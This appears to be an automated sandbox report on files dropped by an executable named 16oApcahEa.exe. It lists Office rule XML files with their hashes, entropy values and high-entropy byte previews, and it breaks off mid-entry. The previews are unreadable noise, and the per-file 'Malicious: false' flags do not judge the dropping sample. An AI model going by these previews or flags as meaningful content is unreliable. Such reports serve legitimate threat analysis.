SHA-512:	7326C322BB876EDC0D4F0B7E2AEDEC849D53B6A507836A29D0388DA3A58BF2B73B641135DD8215344D7EF276C7BF35CB76E45703C4E4190C7CEB734B31F75F4D
Malicious:	false
Preview:	<Rule....e.....1TA:+.c-$....b..T.....,U."u...\/Z... ...5.ek.^...K......A.w.#...h....._.8}..]cC.k.~...L...9.CFf.B.k.~o.+.......R..Sc.......^x..UH.. ...;\|..Z.f..v`M.6.8..D....ji.[....Q.5......2I...[...t.7..R.%....<...#..Xc...Hbq...V......m........e!...a.r`...M6?C...i......\..j`..u2).-.x.X..t..B.....X.L...#..;}..].D...$.B..............u.6..$@..!<z..~:Z.....H\|...[,.7...2X..]. P....`BO{.l....D...'.H.@....trO.....YH..g..\........2%..K.. ..:.N.nQ.........]..&.}.........6.W...4..).J$.N'j..4...\|..@Z.@D.G.,!.(.,.a.A.2..^..8..e......S....RG_c.E....>Q/..!...).7..q.d.3.g^...f.Dh..%.......$.<:.I.<....0..53yzi..i.2...^..]7..}\...n...\|.2.o.(.S.....S..5.. M.....0\|m.O.!..D.\|.\|....h.i....b.%.....p...mv......H[.:..y..`...........a'pg.~...P....8.R5qk..3.]....DK?.k.r3...<........$...sU4.0...z.........F...U..q.T..........,..d.\.w....i..U.c..>`.r...6.r#b.,.x..9....+....h....)p/.?U.kq...L.9.......[...FOB....."c....<.O........>.{.f_.`I>..c....Q...y.....)e.W.."..o....."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.9024951133582775
Encrypted:	false
SSDEEP:	48:QY6nrkKUE+mTloTJ0qGbRRCvA7wztaiEbB57JD:FQNUE+mTlPntD7i0iEzN
MD5:	029C7DECFB4CDD2290F69760F4F0042F
SHA1:	814E0360E079C85FBF389D7F979ECBE7B9674870
SHA-256:	70008984966B313A89A0564753DBC562CB64721CA5FC4CA99EC05036D4113A1C
SHA-512:	0C05AE40D6EEFA9D2FCED338077A14E8B44F1451A28E30A6721C41C70097E50CF44FE1F0C66FF70C9F036D113B392E18D8E34936E0DAE9B1C6A30029B37FA20C
Malicious:	false
Preview:	<?xml..}V.. {......a...<..p..2..J>.sB.2..O..e].....5....g"o...,.,_Vh..r$8s..'r...>.jP..9(..\|Fj..Vym..n.G.p7Q~.i:.6..W..),v~eE...............Yb.#....\|"V,D_......>..C...a..n5..y.uMYR]............T~.e......j......gK^w......j..d...-P^....O..%W...z}...B!s";.....C ^.}.lw.r.+.h:e....w...C.iw..&..E(2....9"A?.-=v.T.....x..Z6.8J...{.....G...n.n...........GH;..p......./.Y..t...N..O.&..$Al.PMa....S_...tBlcb....wiI..MG.qC...s..`i...t)?"....i0q.\|.\...PU.-..Idy.=a;....../.Q..G...IPiU..s.=...KK....%.....i.IKCf....QI.%3}.....B....Q$WIk..$.mA.{...=....`.i...3....V.;jH!.t..o....[..A7...\-..l.......&....\|b...6.l.m-.T<.M5;.H..O....R.....#.).3.............a].6..x..:.O.....r....&K?..:.$....Nd..c.C..2'.....^......lk.Z.~.h=."zc..].\|R...Y.`.C6.....?.6..XOXfG...g9.%9._$...%!...Q....[0)..]...V.Y....O[....d.".yG.s..,.V.4)/.A.w......-.....\|.8..C_..Q..=.!.?...+b....h....\'...-.._vP.Y.E....h....H&..=c~n...=.qdR..ZJz...V.`J.q.GV...."..m.....;.....U.M=<.G..%?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.864186289445296
Encrypted:	false
SSDEEP:	24:RPC8EXRbHhfXG9D/breEg+0HAv/Qkgf63WHewksZ9ikuGOjISA83n3OGcgeigZxp:pETlXGlbreJ7gv6yWHewkvk7Ojn3ODcE
MD5:	43D7DFC098E760F5D5CC1245BAF56C7C
SHA1:	0625CAC01DB359E8BCA9754E9CEA4AA6109D7CBC
SHA-256:	2ED8D42CDA32211ADF1F9073CD5A4139178AF1F239E4C5D97CC8C6B3591FB16C
SHA-512:	B4564B3AC03E63B26616D17B8E79C3BBE1E39B609AC20A4FCB55E1BED4AFB428546FD8820140F26048AEE07F0AA61B14567E771AC977619668079305A29119A5
Malicious:	false
Preview:	<?xml)...2.5.......%..u.Z;06..@'...v.c..u......I...qu.D.a_p%...zC...+.c....h..B..I...7G...l..]..:.r9.U.MKSrA.... .v.z.#.F;M3...8..F....}w`\|..-O..MLS....Ap..:_.T...PT.........=....KYb....#..OK .,..()a.%W.bkc..B.....z......>y...{GG.N.8..B.2.87?6............}.M.Z.k....R../.(8....../h......$... ..~..v.o..5X..........E.'.3AR.H.c..1l1nr.c.-..o..k0..v.s.&...9cXU..j...M....\|.F...F..`jn..)j{... `z....br.i,..... .[...9....xOV.azk.G.C..U..w.i..N..b.../.O ..B..........<_..xH.6.w.._.J;h..d..P..........8.@T.,.Ar.IZ.s....g..l.+J...`7A(.........`...:9..x.....<. .J...6..Q..$>..n.jPzIP.h.D]..w......M:.......,.....~..r..c[}..b.hz...........E.:.....=.@....{cf.r}RWN...)_S......u.XO...J..hYw..{s.P...V.Jt....&?..&...hI.P,...l.7....mqu......1..8{....`...I..7......MNv...t.E=..Q.....Zr...8.gRMB...u....j(.....v...L.!RF...}......).......1..~.P.6.k.... f'.4.q..E..c.L.?.......I.Ix......?;...$}...Kv.Up._.V.X......G_z.-.. .......l.F.......V;.e..2A.......5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.939774406751343
Encrypted:	false
SSDEEP:	48:aQN3liiCs/rs2R2OcrHhPSvXSXuY+bNh5LyoJzoSDFmJeWzaj2JD:aQN3ksY02OcrBPSvG5+bRLmShyemajA
MD5:	A7C0B92195CE3BE9FFB359BD0F89D379
SHA1:	1C71EC79D1439D44C541DDE7487F8D8778B1CCD6
SHA-256:	B2C99772170AAB32472F5783DC04F23051899A720F864F8DEF0CF039407C77A9
SHA-512:	6D3DF384944330C09B294091F1C23CA740D7D780B2FFFA530689B08312D577D3E3AC5BF55A27B1B15F07B6C2B1F14E7B57EE1F1607E18EDEB023BDCF30456F98
Malicious:	false
Preview:	<?xmlD....!{.%,.QS.x..@@..Se.\nL...P...7.q......C.L....M.};.M..$2.r...........+.>...V.j.X...R.x'.?.Z..t......a..(_.e.../.(`."[...;=..r1....'l..oA...B...{.P@c...3U....2....%...E..x1..1...CYO.w..P....$L......\..}w..c.h..F)../......9_I2.Io.[...3...^0..".M4m..,a...%y..)..Tq.,........'..M.6J@.}..kc.M+jqC.BS{.ZE.........M.._@~.p....R..V.].0....._.".6.4.......MNv.......)%..Wdi......(..#..WXO..;.n.....q.......A......g..E..q>l....\|4`...7.`E.cp&.......h..K... .Y.......c.Z..W....d."...tU..... ..v.#.a...kx....D#.vl~J^......N... .v..OF....Y..{..v.p..C._I..7.d..5m.a......./!....e.\6\....Fb..w..Z.D.9.)..<S^-........C+.a/.u.r..u)$...Gr..<.l. %b.......9..B...=...Z._7...aEQ....X.x......F....;..........zK...PA>..sn.RI;..=..}1.e....Zs9QdH../...n\|...}%..A.w.%.hO>....U.]........Y.X.l./.gW34g]}..CO .=`"AT.{CTx}....QP.NT....L...Z.k.....b...I....0~.....!.Cj......,..:<.UE,...q...O_. ..2..j..<<.:.../.c..=R.y..f7..\.io....:...z......F.]..3..y....00.!2u...v.!.A......o...;...U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.88705173450777
Encrypted:	false
SSDEEP:	24:gZ/H6y9WnkxoWwN2nMlxhP7NEz5Wj40crDgJktp/EqTMQwWl98zSyUiQE9pbD:glz9Wn6wKMjhP/6xYQfl98zSyUiQaJD
MD5:	5B1DD27E89E9144CCC208743FA5F864F
SHA1:	F2FE2AFB52CFDD52226E6C19433A9605F8F90DF4
SHA-256:	8BEA0ADE4A92F258D6468AD1D201A9D4A8CADF115A7AEBD5420E84125DF6C9F9
SHA-512:	E6A24F651D1D96336DA2710110C4232779FEE8A03EA8EE9184492544AF29441F5FE4018E7D094C649A7E3E51C737134E5B16AE00772C2EDD0362E778EC9072CF
Malicious:	false
Preview:	<?xml..3.^)0................F......[0V....}....0u...5....fp..@$\,...E.h;eb...;..R.q_.b....B.#..XpGv...>.#..e...bRv...Lz....d...\....@.5.\\._.Q...Z.b&....PU..a...?.. .....\|C.<k.OY).}.[.?.;.p14B..../V..x.U-..B.^xK..<..5..DP.....G....`....g\|....Bc....s.QG...fq3...~/...rt3..?...,8....r{x] ..1L9......\|..u...!....H..y....7F...f....<...2+.......&..S.K..sW-......l.?\|..@...:...n.....k.'N.6A..._S.......2#...1..`H5J...o..T.$.._.<.U.o~^...Ik`..m.g...O....1.eS...T...$l....}..50...y.F...j..".^BIY...;zL.)..c.j....JYk.4..5.^:e...#.r....H..0.~...o!..g.G.4d...l...K.....q.+rp.b}.-..d.?.B4.S.F..GS.@.~..F.T.OKG&...z.L..@.G...&.PC...U...Y.M....tPq.k~6..KA..?.jv....c.....QS...."....>.n..@....s3u...9..J.;.u..._.1.k....?......1c.d..u.E.v..q......../G..1K..3/F...t..@.."F`...3I?R..9.R.Uv.e/1E.&NZ.....EpQ<....Z.-.~.4.p[./_<...L.k/.0....GL..j..i<...gV.X..Q..f.......f..Fm*5>U...!...~.c.F...L....7.Y#.l..K...E...7Z.&P/.&.....m6m.$..../.k.Zn...o.C.)..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.90053707526212
Encrypted:	false
SSDEEP:	48:2E2CH+4osaysXrQ5K37SO1kIAnHfiVTJD:5ay80NR/Kl
MD5:	872FCAF919BE2213276A31C1E12A4F52
SHA1:	8C92ECEEFE66A03C40C29833F4D352B5175DA6E7
SHA-256:	463E0BDB97E8F5C02921F02FB0BC50415A710008BD74F2019408566F668BF4F7
SHA-512:	90A8E4BB17EECD658FB4D46BA646EFCF3E1772AF2F2DB7AADF1CD5A279CFC703FD87CCFC070B8133D56F39E1E3D8D773D0CCD8BBAB87D4C2D56BBBE516A49601
Malicious:	false
Preview:	<?xml"\.(v....Qbl({8.4....8Z.:.%..&W.Q.U..1..N.PQ...R'.TVC...v.q.J.Rg?Y... z.#.....:.z..Z6..7..~l3F..v...G(X..C..E/..5:T1..<..I..G0....y..c.Q6M./.U)...JL.6L9...Um.w...k...>W..o...^...5...<..u...e....]m<..A.Y....!...)..+.Z......6..78.`......JV..]:\|....7.e.80:.....{P.K.]......OZ.8...(.^\|k.t.g.......FA.`t$\|.C.h{&b.1.......f+..v....l]....l....h.Q......0c..Zz<.f,...fy..\|.....=Ya..1..N..&A..&.)...M..+...Gx.<...7.1I.#.S}..-'.M..IRi=.E.s....u....H"E..J.W7Ig.E[.\\..h.O.cZ..V....n..g{..R.s.{`c...8.BY.Q"...o...a.`...Jw..#.e.\|...]...<....So...L.s.[.....0.b.N,$,_..h...A.$U.t.....Gz...:.-..E.B'...qt].D.?:.p,.......4U.I..1.....}..c.{...S.tHSg8....+X......^..........l......Y.g.U{.......(.v.D.[.E./l.q.o..3......{...l.UU..!....."7....Etr..N.....%M...<l.ySN".....s^=.2......>.>S..O.....O.i..H..u.H.....Y..R..Q..]..\..C.._.......(.../.. >4{..N.]...&.$.....*.v.k.N..Y 6s..Yj.kr.~..:......Q...'.u...`x...d>...\.V......nBptozv...t...p..36,.A..........\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.753182836194289
Encrypted:	false
SSDEEP:	24:Fg8fxnD9vnZYsCYk0zwHzmL3D3JPRef0PjGcY7te9pbD:e85D9vZ20syn3JZK6jyOJD
MD5:	CB2C7F9E0BA6DF3A891741BD97B99FA5
SHA1:	39B0E5340D5082FC12BDFF0B9C297E7C58ED03FF
SHA-256:	F25AA3DD7F7966EC79B7653A50140D0ECEB5F233B4F7DEDBF3F1EBC20988432F
SHA-512:	75FCBA215617B81CAD2F73CDDEEEAEECE04B764B6244BFBCFF5310084040E937EA8D0A16E59B829B45C9794A502FE0C887696E1D6BBF1BDBF364D483BA4194DC
Malicious:	false
Preview:	<?xml..l..X.x6...@..j.x....S.?.`;..I.g......Ug.6..._K..3S.\.U'......4...".....(..X.....C...7.3.a.aQ..^......Dc.9~...........\..e.Z.9..U.-..qi.... O.=...V...:..0.y.......W.h.u#wPda.....N.<.....!@......~.........& A..q..3.......[..n...O.-F.'N..yrThk..>n..8HQu..v....wl....#"..VstJ.)1.}4./9u.W..+.......[..qv..v....(.H...sM4g...5...Pi.Um=C....T[.....eR....vr.T....tJ..}.A...,.UQ..s..EBs....9c..E..'!.V@.J;.l..}...3..D...[7../...:....S..x ....4...%.....H..+..z..h..2...p.g..0..-0..GT..0]q..v....=..D..L.kIN.La..zF.j....J..a.../..F.T!.....;....$.5...IiHt...DD&.b&.D...9....w..iI9........y.s."...2.P..Ko.9.R.....P.X..S..}...J.,?.PVb.Mg..Q..DN.M.G#A.. ....u..C}q...!...<.O..u.....j9.!.[..T>N.t.q.Yo.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.90996733135177
Encrypted:	false
SSDEEP:	48:+QE9A2u5D2GT/Tme5KmFkYh5TSx/zcJhmdOUONBb/u6mJD:+RNu5BLmaBVGOoYUONFQ
MD5:	861F61807EC88BBE3EA70F0AB774CA5B
SHA1:	B6A4196675956FEBAEC6FF9C49B70620B929CD71
SHA-256:	0C24DFDE7324305B1F6EF6408617F6F4E1AA4156ADA78484AE6BBA44EB5F4ECC
SHA-512:	679EB73AB2094EBEB4E1F223596276493B081D5370CE019ED02AB0027A87B579A05F1EA86C764032077C70E506DDAE48C042334F91AA429A4323074767DC9FA0
Malicious:	false
Preview:	<?xmlf.'..6=.a.i.s!..\|.z.......<......j Y.xc.%..m.7.3VJ.t@..1.\|6.....&......Em....e.\DP..e..v.{.......W....DV.$A.}1.H2.=.J.I.&.+J..fF.!....D..(!.fQ\|....3..\|.-..n.4{b..~g...&....X.0SK.'..r!\C...C.k..........>....^=.X.......>...jU....T..EUr..[L..,gCY._%.H...h.W:..=..E.Y.Lo %E.C.]..+..y..io...P&s.TX.a..9.B>.B.'.ug-w..Es9..e.....\|u.....].a..4y..."J..c..E...X.......s.. .......w...g^..Z..,d...8Z....^.!....7..~..;.uG....xZ....X....Q...Fz..-.F\G.j....H..J...lf..l...r..a.r..<.iw...I</ .M.K...W.._f.......~C..,...U......^?......D.p.NI..H..o.:..\PV.Z.f..u?..........h......y,.E.K]...b.y.$....\.=...1.>.P..X.#.h...Z.U...E.F.u..C.$.m.....B.<D....=..;.?.p/>.jJ&........6.....d..`n...d..(`..~I\i)t.\.....{h..@C.... ..^.jS.X.srp+R%.h.?.&..........?.4..C...4k.A0.......+..nl7...2.d..BC3..........^..{...#Q..Y...6.c.7.....t.#w..F./. .7..L.l..~..m^.....F..".f...@....K..Q...m@....v>.I..n...O_..<p..r9:..a..\|{..7.7.%.......3..r...K0XG..j..,L=.%.w...$."\....S.;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.696003067551647
Encrypted:	false
SSDEEP:	12:2k7KqoQTa6qIVWUGnwUROBGm90AtZEjl5plH4SzfHxVZVqda0m9M2cii9a:PKXQ3WrwsOB7uAYjjpqifHxVZ70m9pbD
MD5:	FA3E8240029675F574C5FE2F7D9F3FD3
SHA1:	6A42A42492B87471539670006C749A7FF5A9A137
SHA-256:	9937A3E136A794E5274F4456514789B0A46DA72084C2789DE27786D7F53E4151
SHA-512:	A9A0251CF5D9C10F71A51395BA74E611C62AB22B4F8AE5C54D571868158D186F5FB68C33CF3B26D5C4EB5D1C2CEFB42429B72B0F066D27CDBC6F70F9935B4397
Malicious:	false
Preview:	<?xml.....g...s.$.a....5.u...\TRf.+.%....4D.+~k].ra.(Gr.W>,fd.wW...+.>.....,.....y/.{..>x........2..4....yZ.Vi-..3pu$.g..w.....T...\|.<.,0.....6..t.....R..V..y".9..sD..Q.5..d.syX.P.m..sI.K...........8....c...@.R.np8.>/.H.....b.Q.YH\|..H....".[..;........]..w&....L[*%.Uac.+M..f.2.y/...M..(....N...`.&R.C[..[....<. W...+S...$.`.Qg.}...9.$.S.}.N..z.....k........+.&..........4 ......#.s.0..V..5...".......W.c.d..B..1hL.2a..E..Xz..(.......`)NT....G.V.....1......F...`M....\IuS.7.J......J.....\......8...C.]}...x.p...`.......L/x...EIh....P......+..&.r..uxYp.t.W..f..J.....2....W=..."q3...y9v>..]..4Qr.D......s.v........6F._gNd.a8T_..-.....24.\G".@...J.......k...D....X.d.\|.....X(....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.924566327866656
Encrypted:	false
SSDEEP:	48:AIxMJKbB/fxLjEj94Q2/L0ZyS7sOPqZ6bZVTbpzjsP1JMVPWTrQnSiTIfA2t6EJD:GMLI94uV7OZ6bZnjsP1JMnnfU1
MD5:	61ACA866A301739DBB69A07493F27C01
SHA1:	AD55D7A8EFC9F1FA4E5FE52F57F5F904534A939A
SHA-256:	3DCCFE4E6A72A0EC42E6E1D5329EEE05E528CBFFAE55A501C7F5CEDC7B3A092F
SHA-512:	6647288C7FB024F868FBC1157DCC295F9D2DA1973103B41BC01613C35BE1A54B792DAD54CEAD1ECE375F385FC41EC22A92A0B2EE7E0B40E1C0D3139B73D5F280
Malicious:	false
Preview:	<?xml=.....Dvs.B.j...~.W...4..fL5......."a....l[..K.^:c...\./..=...)~V..0...G....T.NK.....@.C...{..0-)..@.v..0.kLUI........l...R`..D...\|.....@#.?...%.".......'.G.....S.....x.j.q....rik.(SA&..nu.{.......ua/.>.8.k....Rb..>..l.t...fJz7(.r.......%....<>L\|9..............5..x4V.1.(.3...#H]Y....5.nQ...=...OX...@0..2$.H..[.o..I1.6.%.]..?..;U..f.o\|.......JX.-.r.{t1.$...K...]qk..S.\|.../..A......zs:a,G.f..w.t....P6..R.7..uh..'Y.a....P....9......gBL.?...M$6....7..~7..f...B...U....Fy~.O+$.Ca,...`l.k#....L..<.Z....+`.7R. ...O.Qk..!..l.!6.ig#..>0..#^l&...D........wa....../....~.f...6..6c....&{..\.;U.X..v. T.dz../eQ.-x7YM.p......<d5.x<s(....E...........V_F;.i..>.V..'UuF..6...L.c......F;...lv}u4$.G....<=j.{.4.}.x....F.C...=.H.j.[..E\|Y..c:;..9LX..0L..;.G....E....lI..#i.w...om.Sjx.a&..s....R....q9..%..]%4...2.r.....G...Y..../.`...{.5.&#../tZPm.....o.....!W^...N..Hu....$.h..-.jj9..W.i.*...[...k.....Y..g6.Gl.....6..M.Z7.v^.C.BD...+...%..\|..A..@..\|.R.".r\|...zy

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9429309116636775
Encrypted:	false
SSDEEP:	48:fbGM5DeyRMEVBNNiJNpZjXgEc1NJPVegpD3gkq/itadkbL1sI2BY+onhbt2u1tyo:yueyiE7/YBQrsU+1dkt+JghIu1hvrhzn
MD5:	5D2CA880F6CB5F3429B773AF91EEA4BB
SHA1:	12921822438A608BE7E5DD164E231ED58C0E79B1
SHA-256:	9723D46042B81541B1954D6AB38F15B36088743ED275DE8A3A9D33C21BAF5CE4
SHA-512:	00277704E5E10D956AC2FD69F10BDD03BD254AAE0B06E8E89EF3D3F5CED4954C0269B279FD966A8337914124BD9070A423B96BECE9C9F489457EEF378B878018
Malicious:	false
Preview:	<?xml4....C_.&..P.......Q..gRU,..KS.#..s=...."i.'...Vr..<.....8......[S.(..i..#.Q......2P5T....i5....R...^.)Q....../..TV7..y..d.h.aH'W&C.l..u.....`.w...r.c..~...,4(%...ycQ .....S.F..b;\..es.z.{\.o.......f.M.r..Q...7.$J..s........F..:..,3n\|.`.t\|.).f.......}.}..K....tpO+..s..z:y........`..x...q..%..{......F.!...!..UB..k..5......c.#...3uu...a.u..lc<.oFn..R..t{..e.rUl.IX...E.P..ek.QK...OZ`.`.PRKO]....c...{.....B.S.p..;....C......r$[.]t...`...o[..._........M..8....I..C...<..\|.!....M.i.m.&.u..f1)..a#K...4v.6\|..6O...S.M@I...IRU8l......y.......v...5.J^....G..3..iL...)....H.(...x.7w....[....u.....!....`..-Y...L._.{.8.\|.6..[..7.wR...cx..E....~0.}.....>.....G.n.{.1.3.."o.P.wG.S.=..3...M..H.s..j.Yh....#.t.~6N....8N.B.H_O"5.&.ces.......!9.....dH..}....@..s6.......i.UI..q&@6....}r......Al.oO0.8....l.''..K..5......F...R.7.h'~FtF0.S.r.....'....1N.........G>Y+..`i.t.....0.R.J...[.9......L......F...9......~..(']j..x....?.....8I...f.\|.1'..u.Fpf.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.96181096127471
Encrypted:	false
SSDEEP:	96:cE2f9RJQ+h+WC+e8p78WsuykS6xyaM165RiXdgj3rcsXea5Z:cEQRiM1C62tuykS6xFM1dO3rcsOkZ
MD5:	17C73EE7D4D49500E7CEF89DF7DB9716
SHA1:	20D290DA3383A88B0AA438C125DE0B2B3C0EBACA
SHA-256:	C42A92221575CFC365B9AFF4BE0F28684B946209A44C4BE6802702990776E613
SHA-512:	6D0F7780E787C0941E458386B9014D85E34F162D2A57DB00215C5AD684FED27C6066F3946B9419BFFBC194319D018B9B419977B768CA500E594077204C659CC7
Malicious:	false
Preview:	<?xml...4.WM.J9t....L..7...?.......C.....N[,..K..uO".).a.R...q8E..3$..x--.....Ho7...}..z$.X.!V@...}...pFC................b.a.v.....~.....Y5],R.G..;.].>.k%O\|-u....=...%.^.P..d@.."..>....%-.. >.\.......9V]...[U._H.\p..NB-..=.......&..n....a.e..\...x<...y2P....B#.G....@[kN.U.....v!......D.j.I.......a^.0..l\08.%M].8r....p...q\.........d.<...Q.a;....CI.E....[.....bS.(.<~..[...uL...(.C...K./......r...i/de]..N&>....[..,..~rc..".B.S...T0..?.b....-i.'D.Qf.aK...Bp%y<....'....Ok../:.y.B...t..$.`...N.!9.Uf..#x.7.C5..7"N+n....eW...j.. ..P+..!...}u..l.8.^^..x..t.p...>..euN.>98^i.gi..}}...I1...BpM...v3..-.h.uYz....L...zR.O.<Cz,x.;.Y..0.z...q.n ...O..(7GT%....Z...'.....y.#_.eL.]L...#l..0c@.a...3.!..M..R....g..f[......a.{.[..I.nHh.T."P<.[\|.......e...\|.G..\...e..=Z..Z:....CT\Y.&..%<5=<>....w..n.Be...!....%@.z.....U...w?4A,n...`E3b._.&..o..+..<7..u...>..d.!D."h#.0.o....d..H&Cx9..A'........b%......b.....r.,..0.n'^..$.T....:_..c.....VdN.u.0Hp}uLr..~O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.814950891469949
Encrypted:	false
SSDEEP:	24:5bjKTmIF+i4m+PwjviItDz7hYa1szHJeLShF4Oiea6QXOZPo55iqoNlke5PK1daK:5bdC+Ijv/tDHhIzHWSsgv4FohS1daYJD
MD5:	98E5F88A8ACEEFB3D7AF98715DA41853
SHA1:	F179C2740DF80046FE0827F7437A57C70B7C3C18
SHA-256:	6BAB27456F8139B44AFDB9912D023A3D2E1374450D6E4C77CF92CA395161082F
SHA-512:	440F6FB0B12EA7F5942412FFB42288F422407BC34A3746B12B368805D8A2BAAEC539DD073260DCF174DB331EF0A3020D58D0E1E1876FD2182E1BF4D5977E2469
Malicious:	false
Preview:	<?xml.....5pB.X.zm....O...a.R......Y.It..n..S.q^.[..Wg~..\._.`.O......!.cJ:&_\|&.[..Z....c]]lk.WN...(Dz......P]I.-.Q%...g...5.S..-... l..t....8..nj61G...j6.^.;`+....V.0z.\|.9.....2.s.....#.Jh:c...T`).=..o..yF..$..;u\|.d....{..W...........<..5E...Y...../...!...N...."..`YM`..m..5....[.4.ln.v....z...DX...c.g-....<..\.B...W.5...c.qX.K9.2.Q.h..9.WJ<.s.......1$.\.c$....#.}v.../d..B...Q....O?!F.}.Q.#.>...m,.5`.v.+.'P VP_7..'..2PJ...csg..M{.f.:.{.....t.S..Z...b"...._..ma.r(..C8..m....../.......<......m.....Bi6.a=........Z..?......V~.l....\|...1.,.H..O7.t......N...1...t}@.#m>......._O........].j.a...X..Q]mT.^.M.I.L.6#....(.\n Z..AH.....Sr.........u;^<'.n.87:N)..O..A..,E...;....h,.S..b.z...^.aJ..^.?.{...j..;r`.g(..(.Y=j\|w..T,.U.....z_.<wo.z..0~...{(.........kIm....I...>....g...}..+$.{z.K....V5..,Y&m.<.?....Z.....Z .OD.C.O.9...x....o..f!...3.z...W{.......T1.R4....U..f..d?X..V...g..I...`......\fdt..kLl.Er....p.u`}..r...c..-D<.4d{g...n.Mn..%d...l..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.864798664954304
Encrypted:	false
SSDEEP:	24:Xn4dr/FN1Nwvwyb9HQmW1qYuAyyYSQUr1cV6XWJhL0dl9aVC4lVNhZ9pbD:M/FNeHW8/ytJa6mozsVF/5JD
MD5:	766224FAF2E87023E6D9CC790E50A17C
SHA1:	7735216C2013CC1BE56B0B88CCA9E8696B1151C4
SHA-256:	4FF5CA1C4914C3709698B8A930DA2E4D3CF35947EDF933CF084E52480175EE74
SHA-512:	6D43B577F2621AA5945E4CE3E13BA815A9B60915002B7F20FE1A8B25A7E0B5EED35FB124634EEEDE236CB32B1A10101E61804C0965CF548F3DE90E3D8FBDC768
Malicious:	false
Preview:	<?xmli.Q.....CT..~.u...N.....?...u.#.T.6.\=..Q...B....'.3..{....A....=.."\|.....r.....@.0V..R.<+...&.^.rx.l7`6......f..F.....8R.2..&.s..n./..[..a......OW.CV.G..d.s...$Om.2...<....O..R......Q6k..p...H....?...b.~.5..z4..OIu}.WF.;..g..<.:...5......c....aY\|....".]oA.B..B#.]:...Qd ..........qd...\|GAH.$....w:..(/J...z......v.S...5Q..B=E...,.A...p.!.4..8...9.i.=j.=......x.!..?...B..r.=..:.Gb.1....J...u.Vn..+#...;..v\|...L...l..C.}....=..V[r(.}.Y.v..\N@.z.....s.4.-......#NN........W.........`y...C.o1...=.\|."-{gz1.....\|.05z...a..j(M,. .2....sx;..U....wLZ..P.....3s..,.^v..wKX.q<~..=./W.?V.R....M.....l{;dUKKE`..o.UZ..B=...;.!..8.U...4.B.1..g(a_....K~.Wx+m.?.N...j.$)A.b...'...u..+./g......>...A...h:...(&..7.T.)..JL/.J...k...=..M .-.,...v.^Q.\.^L...S.o...7&..$..A..h.A.f.V5.X.-.`..P..I..e...^.S...[a.a.]...0..A."8...u.rX.....W5~.W I.f..A........&;E3,.=..Y..A..A....{...g.?..r..k.^..R..8=.m./..Z.aQ........y.G....'b.?3Y...>..zc~....yI..*i.E....c`..Xe........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.802907202766865
Encrypted:	false
SSDEEP:	24:muxPmFTaAaLxYH9XQeAV6wYgTqMpvwZj5TgQldq2TxRl7Bh846e7gYp9pbD:mGPCOzeAV6wYgTlpIZjSQzjTxR3v6cJD
MD5:	2CC99569C238DBF156A9C54F3A415405
SHA1:	77636277319D4F7CF575981D0A5ED339AEC8414A
SHA-256:	E0489AB8C22AFFE7B02196658BFA31548C7C8923BD57A3CDED5D4C0A78DE1CAF
